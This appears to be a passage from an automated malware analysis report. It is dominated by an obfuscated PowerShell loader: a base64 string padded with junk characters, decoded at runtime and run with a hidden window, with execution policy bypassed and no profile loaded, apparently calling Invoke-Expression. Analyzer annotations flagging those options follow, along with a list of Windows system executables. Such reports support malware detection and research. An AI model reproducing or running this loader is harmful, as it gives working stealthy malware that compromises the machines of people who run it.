ÇCmKhvWQmTktteTÇCmB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwBNhvWQmTktteTÇCmEMhvWQmTktteTÇCmOQhvWQmTktteTÇCm2hvWQmTktteTÇCmFMhvWQmTktteTÇCmbhvWQmTktteTÇCmBshvWQmTktteTÇCmHchvWQmTktteTÇCmVhvWQmTktteTÇCmBphvWQmTktteTÇCmDkhvWQmTktteTÇCmawBMhvWQmTktteTÇCmDIhvWQmTktteTÇCmVgBshvWQmTktteTÇCmEwhvWQmTktteTÇCmbQBWhvWQmTktteTÇCmDhvWQmTktteTÇCmhvWQmTktteTÇCmYwhvWQmTktteTÇCmyhvWQmTktteTÇCmEYhvWQmTktteTÇCmdwBMhvWQmTktteTÇCmHkhvWQmTktteTÇCmOhvWQmTktteTÇCmhvWQmTktteTÇCm2hvWQmTktteTÇCmGMhvWQmTktteTÇCmMwBChvWQmTktteTÇCmDhvWQmTktteTÇCmhvWQmTktteTÇCmZhvWQmTktteTÇCmBHhvWQmTktteTÇCmGchvWQmTktteTÇCmPQB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwhvWQmTktteTÇCmghvWQmTktteTÇCmCwhvWQmTktteTÇCmIhvWQmTktteTÇCmB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwhvWQmTktteTÇCmghvWQmTktteTÇCmCchvWQmTktteTÇCmKwhvWQmTktteTÇCmnhvWQmTktteTÇCmCwhvWQmTktteTÇCmIhvWQmTktteTÇCmB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwhvWQmTktteTÇCmyhvWQmTktteTÇCmHkhvWQmTktteTÇCmUQBThvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmLhvWQmTktteTÇCmhvWQmTktteTÇCmghvWQmTktteTÇCmHkhvWQmTktteTÇCmUQBThvWQmTktteTÇCmEkhvWQmTktteTÇCmZwBmhvWQmTktteTÇCmHghvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmeQBRhvWQmTktteTÇCmFMhvWQmTktteTÇCmIhvWQmTktteTÇCmhvWQmTktteTÇCmshvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmeQBRhvWQmTktteTÇCmFMhvWQmTktteTÇCmMwB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwhvWQmTktteTÇCmghvWQmTktteTÇCmCwhvWQmTktteTÇCmIhvWQmTktteTÇCmB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwBDhvWQmTktteTÇCmDohvWQmTktteTÇCmcQBrhvWQmTktteTÇCmFhvWQmTktteTÇCmhvWQmTktteTÇCmUhvWQmTktteTÇCmByhvWQmTktteTÇCmG8hvWQmTktteTÇCmZwByhvWQmTktteTÇCmGEhvWQmTktteTÇCmbQBEhvWQmTktteTÇCmGEhvWQmTktteTÇCmdhvWQmTktteTÇCmBhhvWQmTktteTÇCmHEhvWQmTktteTÇCmawBQhvWQmTktteTÇCmHkhvWQmTktteTÇCmUQBThvWQmTktteTÇCmCwhvWQmTktteTÇCmIhvWQmTktteTÇCmB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwBJhvWQmTktteTÇCmGchvWQmTktteTÇCmZgB4hvWQmTktteTÇCmHkhvWQmTktteTÇCmUQBThvWQmTktteTÇCmCkhvWQmTktteTÇCmKQhvWQmTktteTÇCmnhvWQmTktteTÇCmCkhvWQmTktteTÇCmLgByhvWQmTktteTÇCmGUhvWQmTktteTÇCmchvWQmTktteTÇCmBshvWQmTktteTÇCmEEhvWQmTktteTÇCmYwBFhvWQmTktteTÇCmCghvWQmTktteTÇCmJwBxhvWQmTktteTÇCmGshvWQmTktteTÇCmUhvWQmTktteTÇCmhvWQmTktteTÇCmnhvWQmTktteTÇCmCwhvWQmTktteTÇCmJwBchvWQmTktteTÇCmCchvWQmTktteTÇCmKQhvWQmTktteTÇCmuhvWQmTktteTÇCmHIhvWQmTktteTÇCmZQBwhvWQmTktteTÇCmGwhvWQmTktteTÇCmQQBjhvWQmTktteTÇCmEUhvWQmTktteTÇCmKhvWQmTktteTÇCmhvWQmTktteTÇCmohvWQmTktteTÇCmFshvWQmTktteTÇCmYwBIhvWQmTktteTÇCmGEhvWQmTktteTÇCmUgBdhvWQmTktteTÇCmDEhvWQmTktteTÇCmMghvWQmTktteTÇCmxhvWQmTktteTÇCmCshvWQmTktteTÇCmWwBjhvWQmTktteTÇCmEghvWQmTktteTÇCmYQBShvWQmTktteTÇCmF0hvWQmTktteTÇCmOhvWQmTktteTÇCmhvWQmTktteTÇCmxhvWQmTktteTÇCmCshvWQmTktteTÇCmWwBjhvWQmTktteTÇCmEghvWQmTktteTÇCmYQBShvWQmTktteTÇCmF0hvWQmTktteTÇCmOhvWQmTktteTÇCmhvWQmTktteTÇCmzhvWQmTktteTÇCmCkhvWQmTktteTÇCmLhvWQmTktteTÇCmBbhvWQmTktteTÇCmHMhvWQmTktteTÇCmVhvWQmTktteTÇCmByhvWQmTktteTÇCmEkhvWQmTktteTÇCmTgBnhvWQmTktteTÇCmF0hvWQmTktteTÇCmWwBjhvWQmTktteTÇCmEghvWQmTktteTÇCmYQBShvWQmTktteTÇCmF0hvWQmTktteTÇCmMwhvWQmTktteTÇCm5hvWQmTktteTÇCmCkhvWQmTktteTÇCmLgByhvWQmTktteTÇCmGUhvWQmTktteTÇCmchvWQmTktteTÇCmBshvWQmTktteTÇCmEEhvWQmTktteTÇCmYwBFhvWQmTktteTÇCmCghvWQmTktteTÇCmKhvWQmTktteTÇCmBbhvWQmTktteTÇCmGMhvWQmTktteTÇCmShvWQmTktteTÇCmBhhvWQmTktteTÇCmFIhvWQmTktteTÇCmXQhvWQmTktteTÇCmxhvWQmTktteTÇCmDEhvWQmTktteTÇCmNhvWQmTktteTÇCmhvWQmTktteTÇCmrhvWQmTktteTÇCmFshvWQmTktteTÇCmYwBIhvWQmTktteTÇCmGEhvWQmTktteTÇCmUgBdhvWQmTktteTÇCmDEhvWQmTktteTÇCmMQhvWQmTktteTÇCmwhvWQmTktteTÇCmCshvWQmTktteTÇCmWwBjhvWQmTktteTÇCmEghvWQmTktteTÇCmYQBShvWQmTktteTÇCmF0hvWQmTktteTÇCmNQhvWQmTktteTÇCm0hvWQmTktteTÇCmCkhvWQmTktteTÇCmLhvWQmTktteTÇCmhvWQmTktteTÇCmnhvWQmTktteTÇCmCQhvWQmTktteTÇCmJwhvWQmTktteTÇCmphvWQmTktteTÇCmHwhvWQmTktteTÇCmIhvWQmTktteTÇCmBJhvWQmTktteTÇCmG4hvWQmTktteTÇCmVgBvhvWQmTktteTÇCmGshvWQmTktteTÇCmRQhvWQmTktteTÇCmthvWQmTktteTÇCmGUhvWQmTktteTÇCmWhvWQmTktteTÇCmBwhvWQmTktteTÇCmHIhvWQmTktteTÇCmZQBzhvWQmTktteTÇCmFMhvWQmTktteTÇCmaQBPhvWQmTktteTÇCmG4hvWQmTktteTÇCm';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('hvWQmTktteTÇCm','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe